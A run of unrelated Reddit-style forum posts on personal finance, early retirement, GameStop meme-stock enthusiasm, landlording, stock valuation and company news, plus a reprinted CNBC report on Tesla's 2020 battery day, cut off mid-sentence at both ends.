essay](https://www.trackinghappiness.com/happy-at-work/). **TLDRL:** My work can be quite boring, stressful and intensive at times, but overall, I know that the impact on my happiness is not that big (0.12 points). This is why I am actually pretty happy with my job and salary. As a result, I'm not saving as aggresively as some others here are. Yes, I'm still frugal and aiming to become financially independent, but I'm not aggresively saving towards early retirement (or at least not yet!). + +I would love to start a discussion here on this topic, and see where the r/fire community is located on this happiness-sacrifice vs. salary chart. Hell, it'd be amazing if we could create a big community-filled scatter chart with each and every one of your jobs, but I guess that's just me being a dreamer ;-) + +What do you think? + +Update: Thanks r/fire for the MANY insights, anecdotes and stories. With a bit of effort, I might actually be able to create that scatter after all. Keep the data points coming :D + +Update: I'm going to try and realize this scatter chart of mine, hopefully this will work :) +Disclaimer, I offer no dates or price targets. + +My wife asked me, "What number let's us retire during the squeeze?" I told her, and also mentioned I would not be selling at that number, but something much much higher. For probably the first time during the last few months she started to doubt me and this whole situation. She asked why wouldn't I sell when it gets to that point. Well when the price hits prices deemed crazy by the masses but low for apes, it will be even easier to HODL for us. Why is that? Because all our hard work will be validated. That's the moment when we take charge and set our own prices. + +The message is simple buy, HODL, Vote. The rest will take care of itself. +Howdy, I’ve been a dev for a few years now and I’ve recently been contemplating moving away from my current job. Obviously one of the main things when looking for a job — and the reason I chose to post on this sub — is the money. + +I’ve mostly been looking at levels.fyi for info on salaries when I started noticing how crazy the differences in salaries can be between here and the US. As a example benchmark pick Atlassian (partially because they’re on a massive hiring spree atm and also because they’re originally an Australian company themselves so I wouldn’t have expected them to consider Australian staff salaries as an afterthought): If the values on levels.fyi aren’t too exaggerated or anything it would seem that even grads in the US are on roughly USD175k, whereas Australian grads hover on only roughly AUD100k. + +Does anyone know why this would be? Or who comes out on top once you factor in the horrible fact that you have to actually live in America? +Don't give them any views as it will boost their reach with the YouTube algorithms. It's as simple as that. They're also making ad money from your clicks. + +As they say, any publicity is good publicity. Just ignore them and move on. + +Anyways, I'm hyped for 8/12 8/13 8/16 8/17 8/18 8/19 and 8/20. I'm sure Kenny's bitch ass is too + +Edit: also they had to know apes would down vote their videos when they uploaded. Don't play into their hands. Do the unexpected, which in this case is just ignoring it. +As we all know, the Russel index includes the biggest 3000 companies by market capitalization in the US. So the first one is going to be Apple, the second one Microsoft and so on. Every year in May, they reevaluate which companies should be included. This happened last Friday, May 7th. + +[https:\/\/www.ftserussell.com\/resources\/russell-reconstitution](https://preview.redd.it/1h46dxxew5y61.png?width=1892&format=png&auto=webp&s=8099083f33aa883c4b1760610a800c30f1dcdabc) + +After the revaluation, all ETFs that mirror the Russel index have to adapt their holdings. This means buying the shares of companies that are newly added and selling those which are not in the index any longer. This buying and selling is happening in June, when they announce the changes to the index. + +&#x200B; + +[https:\/\/www.ftserussell.com\/resources\/russell-reconstitution](https://preview.redd.it/9eq8rlzqw5y61.png?width=1930&format=png&auto=webp&s=20b74680865ae44cc17cd7896834dfbc94bd8345) + +So what does this have to do with CTXR. Well, with the strong performance in the last 12 months, CTXR is now in place 2133 in the ranking of market capitalizations in the US. Which means they are going to be added to the Russel 3000. I found this website ranking publicly traded companies by market cap. You have to go to ranking by countries to find the relevant ranking for the Russel index. CTXR is on page 22: [https://companiesmarketcap.com/usa/largest-companies-in-the-usa-by-market-cap/?page=22](https://companiesmarketcap.com/usa/largest-companies-in-the-usa-by-market-cap/?page=22) + +&#x200B; + +&#x200B; + +[Rank 2133 for CTXR](https://preview.redd.it/k0fu0rujx5y61.png?width=2604&format=png&auto=webp&s=39ca9e738a51701e4982df913428d089bb5802e0) + +&#x200B; + +The great thing is that this is new for CTXR. Because of their growth last year they will be newly added to the index, which means ETFs mirroring the index have to buy the shares at the latest in June, which could lead to a gain in share price in addition to other catalysts this month. + +**TLDR: CTXR is going to be added to the Russell 3000 index. ETFs mirroring this index will have to buy shares in June by the latest. This could lead to a rise in stock price.** +Trump is requesting a stimulus ($900 billion) that would amount to 4% of 2020 GDP. Obama's stimulus during the 2008 crisis was around 2% of GDP (clarification: spread through 2009-2010, so it is the same magnitude within half the timeframe). + +How can things simultaneously be O.K. while also needing twice as much stimulus as the biggest financial crisis since the great depression? Wouldn't this be completely unprecedented in scale, aside from the 1930s New Deal measures and major war mobilizations? + + +[This is the official $GME Megathread for r\/Superstonk.](https://preview.redd.it/gzy9yfftoov71.png?width=778&format=png&auto=webp&s=7ce125aa2d7455f994d74a4192f1a04b7d14448c) + +**Please keep ALL conversations contained to Gamestop and directly related topics.** + +\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ + +# Brand new to the sub? Start here! + +***You must read the*** [***Superstonk Rules***](https://www.reddit.com/r/Superstonk/wiki/index/rules) ***before commenting or posting on*** [***r/Superstonk***](https://www.reddit.com/r/Superstonk/)*.* + +https://preview.redd.it/u7nzd0m0pov71.png?width=1651&format=png&auto=webp&s=df5232178c4035ba1c069f9306b30453b42946cd + +The extremely talented and dedicated [u/zedinstead](https://www.reddit.com/u/zedinstead/) has created this beautiful collection of the most important, groundbreaking **D**ue **D**iligence in PDF format that can be easily accessed and shared. If you're looking to familiarize yourself with the GME bull thesis or the underhanded tactics of the short sellers involved in this trade-- then this is for you: + +# [GME.fyi](https://fliphtml5.com/bookcase/kosyg) + +[r/Superstonk](https://www.reddit.com/r/Superstonk/) employs strict posting requirements to ensure our community stays moderately free from trolls and other such bad actors. As such you may find you have trouble posting if you haven't fully read and understood our rules. + +**Posts keep getting removed?** [Find out why.](https://www.reddit.com/r/Superstonk/wiki/index/rules) + +**Not enough** [**karma**](https://www.reddithelp.com/hc/en-us/articles/204511829-What-is-karma-)**?** Here's a [quick guide](https://zapier.com/blog/how-to-get-karma-on-reddit/) on how to get it. + +**Want to learn more?** [Check out our extensive Wiki](https://www.reddit.com/r/Superstonk/wiki/index) and [FAQ](https://www.reddit.com/r/Superstonk/wiki/index/faq) + +**Eager for more even more GameStop info?** [gmedd.com](https://gmedd.com/) is a spectacular resource. + +\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ + +# Flair Links + +[📚 Due Diligence](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%F0%9F%93%9A+Due+Diligence%22&restrict_sr=on&include_over_18=on&sort=relevance&t=all) | [📚 Possible DD](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%F0%9F%93%9A+Possible+DD%22&restrict_sr=on&include_over_18=on&sort=relevance&t=all) | [📈 Technical Analysis](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%F0%9F%93%88+Technical+Analysis%22&restrict_sr=on&include_over_18=on) | [🤔 Speculation / Opinion](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%F0%9F%A4%94+Speculation+%2F+Opinion%22&restrict_sr=on&include_over_18=on&sort=relevance&t=all) | [💻 Computershare](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%F0%9F%92%BB+Computershare%22&restrict_sr=on&include_over_18=on&sort=relevance&t=all) | [💡 Education](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%F0%9F%92%A1+Education%22&restrict_sr=on&include_over_18=on&sort=relevance&t=all) | [📰 News](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%F0%9F%93%B0+News%22&restrict_sr=on&include_over_18=on&sort=relevance&t=all) | [🤡 Meme](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%F0%9F%A4%A1+Meme%22&restrict_sr=on&include_over_18=on&sort=relevance&t=all) | [👽 Shitpost](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%F0%9F%91%BD+Shitpost%22&restrict_sr=on&include_over_18=on&sort=relevance&t=all) | [📳 Social Media](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%F0%9F%93%B3Social+Media%22&restrict_sr=on&include_over_18=on&sort=relevance&t=all) | [☁ Hype fluff](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%E2%98%81+Hype%2F+Fluff%22&restrict_sr=on&include_over_18=on&sort=relevance&t=all) | [HODL 💎🙌](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22HODL+%F0%9F%92%8E%F0%9F%99%8C%22&restrict_sr=on&include_over_18=on&sort=relevance&t=all) + +You can also find the main flairs in the sidebar on New Reddit and under the "About" page on mobile. + +**Mod Flairs** + +[📣 Community Post](https://old.reddit.com/r/Superstonk/search/?q=flair%3A%22%F0%9F%93%A3+Community+Post%22&include_over_18=on&restrict_sr=on&t=all&sort=relevance) | [📆 Daily Discussion](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%F0%9F%93%86+Daily+Discussion%22&restrict_sr=on&include_over_18=on&sort=relevance&t=all) | [🚨 Debunked](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%F0%9F%9A%A8+Debunked%22&restrict_sr=on&include_over_18=on&sort=relevance&t=all) | [📖 Partial Debunk](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%F0%9F%93%96+Partial+Debunk%22&restrict_sr=on&include_over_18=on) | [🔔 Inconclusive](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%F0%9F%94%94+Inconclusive%22&restrict_sr=on&include_over_18=on&sort=relevance&t=all) | [⌚ Pending Review](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%E2%8C%9A+Pending+Review%22&restrict_sr=on&include_over_18=on&sort=relevance&t=all) | [🏆 AMA](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%F0%9F%8F%86+AMA%22&restrict_sr=on&include_over_18=on&sort=relevance&t=all) | [🥴 Misleading Title](https://old.reddit.com/r/Superstonk/search?q=flair%3A%22%F0%9F%A5%B4+Misleading+Title%22) + +To filter out CS/DRS posts, click the link or type [\-flair\_text:"💻 Computershare"](https://old.reddit.com/r/Superstonk/search?q=-flair_text%3A%22%F0%9F%92%BB+Computershare%22&restrict_sr=on&sort=relevance&t=all) into the search bar. + +\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ + +***What's This Post All About?*** + +The first thing you'll notice is a stickied comment right at the top. We call this the "Front Desk". Every day a moderator will create a new sticky comment that includes links to community announcements, fantastic posts that deserve more attention, and generally the simplest and easiest way to interact with the moderators of this community. The rest of the post is designed for general discussion and content/questions that might not need their own post. + +If you are new please mention that when you comment. There are no stupid questions but "shills" (paid accounts with the intent to disrupt the sub) are real. This community sees a lot of trolls. If you do not distinguish yourself as someone with genuine questions it is likely that members of our community will assume you are just spreading "FUD" (Fear, Uncertainty, and Doubt). I hate that I have to give you this warning but it is just the nature of the beast at this point. + +Please have fun, play nice and be civil. Many of our rules are heavily enforced. Debate is welcome but if it devolves into personal insults please report the comment. *Ape no fight ape!* +Say you rent out a unit for $2,400 a mouth but a possible tenant offered for you $24,000 up front for rent for the year, would you take the almost $5,000 reduction in rent? +Yesterday i found a great deal at an auction online. Only issue is that im currently in the army and i cant visit the property before bidding. How risky is it to buy a property without seeing it first? I know the area and the seller is a trusted company in my country. I have pictures of the apartment but cant visit it myself. +Is it worth the risk? +ELI5 - How am I misanalyzing these numbers on a large multi-family and how does anyone make money on these deals? + +I've been a self-managing landlord for nearly 20 years; I've done both commercial and residential, but never residential larger than a quadplex. My goal is to scale up so I can step back. + +In my area I've seen a number of deals for entry-level apartment complexes come and go, and every time I'm baffled how anyone makes the numbers work. This is an example based on an actual property: + + +Listed Price: $1,450,000 + +Units: 25, all 2-bedrooms + +Actual Average Rent: $710/mo (=$17,750 before vacancies) + +Utilities by Landlord: $1000/mo for water only + +Pre-Sale Taxes: $30,000/yr + +Post-Sale Taxes: $60,000/yr + +PITI: $14,355 + +Grade: Class C in a LCOL city, fairly decent area, good-enough schools, buildings and interiors appear kept up. The only obvious immediate maintenance is a parking lot reseal. + + +My spreadsheet: https://imgur.com/LT3Oc6K +(* Maintenance includes lawn and snow) + +When I run these numbers, I get a cap rate of 3.9%, but actual losses of ~$3000/mo and a COC of negative 12%. I keep seeing property after property with these upside-down numbers. Even raising the rent 20%, which is about top of asking for this quality/location, only brings the property to barely breakeven. + +Can someone who's done deals this size explain either 1) how I'm thinking about the numbers wrong or 2) how any buyers are making a profit? +My wife and I have a sfh rental in Naples, FL. We bought it in 2016 for $425K. We believe we could sell it now for between $600K-$625K. We only owe $120K on the mortgage. + +Currently renting it to amazing tenants for $2,500 month and cash flowing about $1,500 after all expenses. + +If we sold the house, we could pay off the $400K mortgage on our primary residence with a few bucks left over. We would then own our house outright with no other debt. + +The rental was built in 2011 and will likely start needing additional maintenance in the coming years. I am highly tempted to sell it and pay off our primary residence mortgage. Any thoughts would be greatly appreciated. +Say you rent out a unit for $2,400 a mouth but a possible tenant offered for you $24,000 up front for rent for the year, would you take the almost $5,000 reduction in rent? +So if you haven't read it, published in 1996 it gave insight into what a typical American millionaire was; a seemingly ordinary Joe with a net worth of over a million dollars who was frugal and not flashy like you see on TV and most surprisingly was that almost 80% of all millionaires did not inherit their wealth. I enjoyed reading it 3 years ago as i was just learning to invest and save. + +But now I have very ill feelings about it. + +Its subjects were baby boomers and needless to say economic opportunities and housing was a completely different story back then. Then there is the "self made" part. The "didn't inherit part" doesn't include people who had parents well off with great careers and high income, so its a misleading not to factor in this into the "inheritance" part. I mean if you parents pay off your entire college, and have connections, you're on a fast track to become wealthy. + +It just irked me that factors like these are usually looked over (though this book was written in 1996), and I just want to remind people who are working hard not to fall into the "I should be a millionaire before age X" because it can lead to unrealistic expectations and false blame on yourself +There are tons of posts on this sub about can I afford the house or should I buy a rental for “passive” income. First off, being a landlord is not passive. No matter what anyone says. As a home owner and long time landlord let me share with you my recent experience with my long term renters. Sorry if formatting sucks, it’s mobile. I have a rental house in a nice area and my tenants over the last 5 years have been model tenants. Rent paid on time, only called for one serious issue. Fast forward to their move out last week. After they are out I’m greeted with the smoke alarm going off and smoke stained air vents. It turns out that, despite their requirements in their lease, they did not do regular air filter changes. Basic maintenance. This caused the system to overheat and sparked a small fire causing enough damage to the control system to require the entire furnace system to need replacement. The last time I know they were changed was when I had the system serviced 3 years ago. I should have made sure that it was done, so shame on me for trusting them. For anyone who owns a home REPLACE YOUR AIR FILTERS regularly. Do all your routine maintenance. It will cost you way more if you don’t. For anyone who is thinking about buying a home, remember that stuff like this happens and things fail. And if you don’t have enough room in your budget or an emergency fund to cover the cost of repairs it’s going to be very difficult when something major fails. + +Edit: for everyone saying that I should have done or not done this or that, you’re correct. If you read the whole post I even say shame on me for trusting that it was done. I never once blame my tenants as ultimately it is my responsibility to ensure the terms of the lease are met. The main lesson here is for those home owners to maker sure they do their routine maintenance, whether a primary or a rental. +I currently hold a state job where I am making about 70k a year. Benefits are great, pension, annuity, union, job security, annual raises, 20 minutes from home are all pros. Cons I work evenings, holidays, and every Saturday. This won't change bc it's a hospital setting so unless I move into a different role. + +I recently got a job offer for a 100% wfh position with an insurance company, weekends off, holidays off, making 6 figures with annual raises. The pros here are obviously especially having children. I'm concerned about job security. What would you guys do? + +Edit: I just wanted to thank you all for taking to time to write responses. I am reading through and many have made great points. I certainly have a lot of numbers to run and thinking to do about my particular situation! +Tesla CEO Elon Musk said on Tuesday he expects vehicle deliveries to increase by 30 to 40 percent over last year, when the company reported deliveries of 367,500 vehicles. The new guidance from Musk implies deliveries of between 477,750 and 514,500 cars, a range that encompasses the company’s previously stated goal to deliver half a million cars in 2020. + +Musk offered the updated numbers during the company’s 2020 shareholder’s meeting on Tuesday afternoon, which was accompanied by a presentation about Tesla’s battery advances. After thanking Tesla owners for their word-of-mouth marketing, he noted: + + +“In 2019, we had 50% growth. And I think we’ll do really pretty well in 2020, probably somewhere between 30 to 40 percent growth, despite a lot of very difficult circumstances.” + +The company’s shares dropped more than 6% during the presentation, which took place after normal trading hours. + +During the “battery day” portion of the presentation, Tesla confirmed that it is making its own battery cells at a facility in Fremont. + +Joining Musk on stage, Tesla’s senior vice president of powertrain and energy engineering, Drew Baglino, described the new cells as a “large tabless cell,” with a “shingled spiral” design. The cells are larger than the ones Tesla purchases from Panasonic and other suppliers, and offer “thermal benefits” which make them appropriate for use in electric vehicles. + +Baglino said battery, manufacturing and design changes underway at Tesla would eventually “unlock” a 54% improvement in the range of the company’s vehicles. + +Musk, who is famous for being overly optimistic on such matters, said with all the battery and manufacturing advances Tesla is working on: “About 3 years from now, we’re confident we can make a very compelling $25,000 electric vehicle that’s also fully autonomous.” + +Near-term, Tesla says it aims to produce 10 gigawatt hours worth of its new battery cells at its pilot plant within a year. Musk noted that whatever cells it produces in Fremont would be supplemental to 100 gigawatt hours worth of cells it buys from suppliers. The company also said it had secured rights to a lithium clay deposit in Nevada to mine for its batteries. + +On Monday, Musk warned that the advances announced at battery day won’t find their way into mass production until 2021, sending the company’s stock down about 6% ahead of the event on Tuesday. + +Due partly to Covid-19 health orders that limit the size of in-person gatherings, Tesla postponed its annual meeting from July this year to Sept. 22, 2020. The company previously held its shareholder meetings at the Computer History Museum in Mountain View, California but moved the event to Fremont, where its U.S. vehicle assembly plant is based. Shareholders parked and sat in their cars at the meeting, which Musk characterized as a “drive-in.” They honked in lieu of applause. + +Al Prescott, Tesla's VP of legal, at the company's socially distanced 2020 shareholders meeting, as attendees listen in their cars. +Al Prescott, Tesla’s VP of legal, at the company’s socially distanced 2020 shareholders meeting, as attendees listen in their cars. +Those who wanted to attend had to obtain a winning lottery-style ticket (or other special access) to the meeting. Otherwise, shareholders could log into a website to ask questions to be answered during the live-streamed event. + +Since its last shareholder meeting in June 2019, Tesla’s long-time CTO JB Straubel resigned from the company. He worked there from the start, even before Musk took the CEO reins in 2008. + +Tesla also appointed a new board member, Hiromichi Mizuno, formerly the Chief Investment Officer of the Japan Government Pension Investment Fund, and a famous critic of shortsellers. Long-time Elon Musk collaborator and proponent, venture capitalist Steve Jurvetson, is leaving the Tesla board as well, though he still sits on the board of Musk’s aerospace venture, SpaceX. + +Remaining board members at Tesla authorized a five-for-one stock split, which the company implemented in August this year. The split followed four consecutive quarters of reported profitability for Tesla, and a season where Musk clashed with health authorities in California over Covid-19 restrictions that temporarily shut down their vehicle assembly plant in Fremont. + +The stock split also followed a huge payout to Musk, part of his unprecedented compensation package. + +Expecting Tesla to talk about where its metals for batteries are sourced, and to promote battery tech suitable for Semi and Cybertruck vehicles, Cannacord Genuity analyst Jed Dorsheimer wrote in a note to investors before the meeting: + +“The big question will be on follow through. It’s one thing to announce all these breakthroughs, which might be great for momentum algorithms, but like most things TSLA, the devil will be in the details, which sadly will take some time to play out.” + +Cannacord maintains a “Hold” rating and a price target of $442 on shares of Tesla currently. + +Shares of the electric car maker are up more than 400% year-to-date. + +https://www.cnbc.com/2020/09/22/elon-musk-at-battery-day-tesla-deliveries-to-rise-30percent-to-40percent-in-2020.html +We briefly touched on CDS and other credit derivatives in my fixed income course. It's my understanding that each CDS has 2 parties, the 'protection seller' who is long the credit risk, and 'protection buyer' who is short the credit risk. The protection buyer would hypothetically gain in the event of a credit default, such as default of MBS. So there must have been some banks and FI's that made massive profit over the default of CDO's and other MBS in 2007-08 correct? + +Who was it? Surely it wasn't just like the 2 guys from the big short. Or is there more to it? Did the protection sellers overextend themselves such that they had to default on their CDS obligations? +I haven’t reached RE yet, however as someone who’s had the chance to take a break in my career, I realized that a lot of my anxiety was in me, not necessarily in my work. I used to think work was what woke me up at night, but realized that my mind is naturally anxious and then anything really took work’s place in my mind - sometimes much more concerning stuff. As such, the motivation to drop work to feel more at peace isn’t something I’ll achieve in RE. Maybe the problem is just me here, not my career nor my clients. And in a way, that anxiety is easier because it’s not really existential. So I’m getting to a stage where I’m thinking doing some work on the side to coast my way through (even beyond FIRE) might be a better option - keep my mind busy, find reasons to look at other problems than my own, etc. + +I was wondering if others here were struggling with this and/or found ways to deal with it? +Microsoft is sidestepping the original equipment manufacturers like Hewlett-Packard and Dell that have long built PCs for its Windows software to build its own $1,499 laptop. Microsoft — which also introduced two new smartphones, a new Surface tablet and an updated wearable device — is betting that by deploying premium hardware, it will lure more customers into its cloud ecosystem. + +It’s an effort by the company to one-up Apple and Google both of which recently unveiled higher-tier mobile devices designed to compete in the workplace. + +The Surface Book, with a screen measuring 12.3 inches diagonally, is Microsoft’s first laptop and its second device category designed for enterprise-tier use — the Surface line of tablets came first. + +Microsoft has outperformed both Apple and the Dow Jones Industrial Average over the last three months, rising 5.2% versus declines for the other two. + +Been going in circles trying to apply for a credit card online. Have to call their hot line and going into branch getting nowhere. Just venting and seeing if anyone else has the same issue +I've been preparing a hedonic property index for some suburbs in Melbourne and have noticed that on realestate and domain that sales data for properties may not show up for over 4 months after a sale. I'm still seeing sale results from February finally appear in their sold property listings in July. Domain and Realestate also do not have the same property sales - need to check both sites. + +What I've also noticed is that the properties that are late to be added to the sales data tend to not be highly price properties for their feature set (land size, bedrooms, house quality). So I'm starting to notice that quite a number of lower priced houses are only added to sales data 2, 3 or 4 months after the sale. + +It appears this could be a deliberate tactic to make the market appear stronger than it really is. If we are only seeing sales data from the best performing properties potential purchasers are being mislead. This works on the way up and down of property cycles - the current state of the market always appears better than it is. + +This would go in line with the mentioned memo from the RBA about hiding property sales data and freezing sales in the market. Maybe it was decided completely freezing property sales data would be counter-productive but if poor sales data was withheld from the market this would be optimal - the market appears to be working and apparent price falls are limited. + +In the suburb I'm researching in outer east Melbourne I have tracked 110 sales from mid-October to mid-July. I give each property a score based on a combination of land size, number of bedrooms and house quality (whether it's a run down shack or recently renovated to high standards - and also property location). + +I've found my method pretty accurate and predicting property values mathematically - for June/July my method calculates price to within 4% of the actual sale price on average. I've found that suburb's price has fallen between 6% and 8% since its peak. My problem is with sales data being withheld the falls are likely higher and we wouldn't know for months after the fact. + +**Edit - I don't mean "price withheld" later updated, i mean properties completely missing only showing up months later. Will do more research on this.** +Hi all, + +Long time redditor here looking for some advice. + +My seven year pro rata long service leave entitlement starts on 23/03/2022. + +However, my new commitment requires me to start on the 28/02/2022 although my notice period is four weeks. + +So my questions is - I’ve booked four weeks leave from the 28/02 and I plan to give my notice on this day. Will I qualify for the long service leave payout? As my official last day of employment will be at the end of the 4 weeks notice period, which is after the 23/03/2022. + +Thanks I’m advance, + +Edit - formatting on mobile phone. +So, I just graduated college, make about $62k/yr I am currently matching 6% 401k, and saving $300 (weekly) for investments. I have been reading and reading about investing, and a lot of people have a lot of opinions on "how to research a stock." That being said, everyone is entitled to their own opinion, but, How do you actually research a stock? How do you research a company's financials? What are some common "good habits" to follow? What are important research steps to follow that I am currently not following? Basically, all I am doing is "gut-feeling" investing. Currently am invested in FUSEX, BRK.B, CMG, and IYE (bought in after gas tanked around beginning of December, in hopes of a recovering gas market). +In the dark days after the sneeze no one really knew what the hell was going on. It didn't seem like shorts could possibly have covered, but how could the price action we'd seen possibly happen, what could explain it staying elevated? People used to believe RRP had to do with the government propping up SHF's margin because of their GME positions, we used to have no freaking idea when or why the stock might move at all, every run & dip was a total surprise. + +Even the people posting ridiculous silly ideas weren't berated & censored. People in the community encouraged each other \*not\* to constantly call out shills because it's a shill tactic to pile onto sentiment & drive division by constantly lobbing accusations, there was more of a sentiment of debunk it if you can and/or just downvote & move on. Great DD's were propagated through all the noise. And I don't remember anyone ever using the word "monetization" to mean 'won't turn down donations'. + +​ + +I want to be exposed to theories about what is driving the price action of my investment. I know it's not just apes buying & selling moving the price every day, there's other much bigger factors at play that are intentionally obscured from GME investors. I want to understand any evidence-backed hypothesis about it so I can understand the odds of me getting rich off my small number of shares at any given time/within a certain timeframe. I do not understand the witch hunt activity that's been going on in here. The absolute hatred I have at times seen towards people who are very obviously putting a lot of time into trying to answer the same questions I have (and who frequently share their supporting data) is one of the most disheartening things I've witnessed in these past 13mos. + +Having the sub be basically dedicated to reposting tweets, promoting DRS, and claiming 'everything's rigged, analysis of the stock is pointless' is, to me, a complete waste of time and a radical departure from the prevailing sentiment that brought together all these investors. If you really believe that then just be as zen as you claim, set price alerts, and walk away until we're launching off. If you want to understand what the hell is driving the price action every day, and how to maybe even make some money off your investment while waiting for MOASS, then I'd love to know where I can join you. + +Edit: if you could really understand how the SHFs are doing what they're doing, you'd be 100% zen. Any lack of zen in your attitude comes from Fear, Uncertainty, and Doubt. Any need for constant hype is your own fud born of our ignorance. If you can't hear other ideas without becoming upset about it then you aren't at peace with your investment decision, and if you aren't at peace with it it's because of the FUD within yourself. Knowledge & understanding can cure that. +Ever since the results of the earnings call came out after hours on Wednesday, GME investors have been bombarded relentlessly with toxic negativity from all sides. Make no mistake, this is very much a calculated ruthless attack to break down your resolve. To make you give in to despair. Don't let them win. + +Focus on the positive. Here are two main positives from the earnings call that should literally put a big fat smile on your face: + +1. We finally have positive free cash flow! Not only does this indicate good financial health for GME, it also indicates that GME's management team, including CEO Furlong and Chairman Cohen, are capable of executing plans successfully and achieving their stated goals. They are the captains of our ship and now we know they're capable of steering GME through the storm to safety! +2. DRSed share numbers went up! 500,000 additional GME shares were direct registered between end of July and end of October! That's great news! Now, the bears will twist it and say it's bad news because it's not a higher number but that's short sighted thinking. We have to consider the larger macroeconomic setting. Truth is, people are hurting all over the world. Persistent high inflation means many many people are struggling just to make ends meet. Credit card debt levels are at the highest they've ever been and savings rates are at the lowest they've ever been here in the USA. It's remarkable that the number of direct registered shares even went up! Seriously! + +So never forget to focus on the positive! Here's a news article that further reminds GME investors to focus on the light and ignore the darkness: + +[https://www.thestreet.com/memestocks/gme/gamestops-q3-earnings-review-look-on-the-bright-side](https://www.thestreet.com/memestocks/gme/gamestops-q3-earnings-review-look-on-the-bright-side) +So I just sold my house was clean g out the garage and found these stock certificates from 1968 that my grandfather purchased. He died in 1983 and my mother and my uncle (who's an ass) would be the inheritants. There's about a dozen of them all counter signed and registered but definitely not cashed or anything. Now some are out of business but sone are not.. Like 50 shares of GE which if i follow the splits is now 600 shares. 100 shares Frontier oil which is now 3200 shares of Holly Frontier. And about 10 others. What is the simplest way to deal with this. I'm gonna get a death cert for my grandfather and my father so my mother will get her half, i suppose I have to notify my uncle whose already rich. But by my calculations just those two alone with the unpaid dividends is over $300,000. Need someone who deals with this regularly. +Apple: iPhone 6S and iPhone 6S Plus. Refreshed Apple TV. Enterprise-focused iPad Pro. + +Google: Nexus 5X and Nexus 6P. Refreshed Chromecast. Enterprise-focused Pixel C tablet. +So this morning I got to login to our retirement accounts and [see the 7th figure for the first time.](https://imgur.com/a/5PlCk2w) This is the money in Roths, 401ks, a regular old investment account and does not include our emergency fund or regular checking. The Roths are maxed for the year and we are almost there with the 401ks. Then it is on to paying off the house. I know it is just a number, but we earned it and I feel like I am one step closer to doing whatever I want. If anyone cares, the key for us was working together and agreeing on what we spend. We also give ourselves a little money each month that the other one cannot judge how it is spent. Basically we each have our own tiny slush fund for frivolous purchases that we would never buy with our joint money. It works really well for us. +literally got an alert that kryptokit was removed from chrome. I checked and it's gone? + +Is google trying to remove bitcoin apps or something? I'm panicking. + +what if I had a big stash and they simply removed it without any way to access it? No warning, it just removed it without my permission. + +I want answers. + + +After finding a stock that you like, researching the fundamentals, doing your DD.. how do you end up with determining a company's value. The below are simple boiled down statements. + +Can you look at a company and through checking all of their assets, debt, cash value, etc and calculate/approximate some type of value. From there divide that by the number of outstanding shares and compare it to the current trading price of that stock. If your calculated value of a company is more than the current trading price, you could consider that to be a value pick and thus invest? + +Or would it be better to find a sector/industry evaluate a company in that slice and compare it to the others to determine if it is or isnt under valued and thus invest? + +Or some kind of a mix between the two. +To those with experience in the market especially: When a stock reaches its target price and assuming it has been 1 year to avoid tax in USA, is it better to sell and buy better deals (better value stocks) or keep holding? Basically, if the catalyst has been realized is it ok to cash out and reinvest in other companies or is there a benefit to holding for the long, long haul? + +Hello guys, + +I'm a new on stock investing. + +I'm looking to make a few mid/long-term investment (3 to 5 years) on the stock market. +What platform is recommendable to make this type of mid/long- term investments? Or should I go to a proper broker? + +Thank you! +This price seems too good to be true. +Very low P/E. Absurdly low P/B (which I don’t usually pay attention to anyway). Profit margins look good, and low debt. + +Is there something I am missing here that other people see? The only thing I can glean is that the earnings had one quarter in the negatives for the past few years (not in 2020), so it shows signs of inconsistent earnings. +Been looking into Mapfre (MAP) and on paper I like everything I see. 8B cash, 3B debt, trading under book value and more cash than Market Cap. However I'm not too familiar with the specifics of the life insurance industry. What should I be looking out for? +[https://imgur.com/a/sTWQQaR](https://imgur.com/a/sTWQQaR) + +Owner Earnings = Operating CF - Depreciation (i.e. Approximation of maintenance Capex) - SBC + +Comparing 3-year average of OE 2011-2012-2013 vs 2020-2021-2022, Apple OE doubled over 10 years, or roughly 7% CAGR. This seems low, but perhaps representative of Apple size problem. + +With a personal required return of 10%, I get 1.7T DCF + +Using 9% required return, I get 2T so roughly at today closing price of 126$. + +If I look beyond next year troubles (Foxconn, China Covid, potential recession, PC slow down, EU Appstore), Apple seems to be a steady and profitable business long term. + +Hope you can point out obvious and significant errors to fine-tune the estimation. Thanks. + +— +Additional info, OE ratio is about 20x. Doing the following Buffett/Comb test, it’s failing the first criteria of 15x. + +« Combs goes to Buffett’s house on many Saturdays to talk, and here’s a litmus test they frequently use. Warren asks “How many names in the S&P are going to be 15x earnings in the next 12 months? How many are going to earn more in five years (using a 90% confidence interval), and how many will compound at 7% (using a 50% confidence interval)?” In this exercise, you are solving for cyclicality, compounding, and initial price. Combs said that this rubric was used to find Apple, since at the time the same 3-5 names kept coming up. » +I'm curious how this community values some of the more popular online DCF models out there. + +My most looked at DCF Valuations come from 